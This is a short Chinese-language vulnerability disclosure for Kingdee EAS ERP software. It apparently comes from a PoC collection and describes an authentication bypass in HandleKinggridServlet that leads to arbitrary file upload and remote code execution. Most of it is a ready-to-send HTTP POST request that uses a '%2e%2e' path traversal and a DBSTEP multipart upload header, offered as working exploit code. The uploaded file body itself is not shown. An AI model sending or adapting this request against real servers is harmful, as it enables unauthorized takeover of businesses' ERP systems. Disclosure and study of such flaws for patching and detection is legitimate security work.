漏洞描述
金蝶EAS是金蝶公司推出的企业级信息管理软件。它是一个完整的ERP核心系统，集成了金蝶ERP方案中的全部模块，能够从收购付款到财务报表的所有功能。金蝶 EASHandleKinggridServlet 存在认证绕过导致远程代码执行漏洞，攻击者可以通过该漏洞控制整个服务器。
金蝶 EAS HandleKinggridServlet 存在任意文件上传漏洞
PoC代码
POST /easweb/logout/%2e%2e/HandleKinggridServlet HTTP/1.1
Host:
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 32084
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycxkT8bV6WLIUzm2p; Charset=UTF-8
Referer: http://[REDACTED]/portal/main.jsp
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
DBSTEP V3.0 11290 0 20730 DBSTEP=REJTVEVQ
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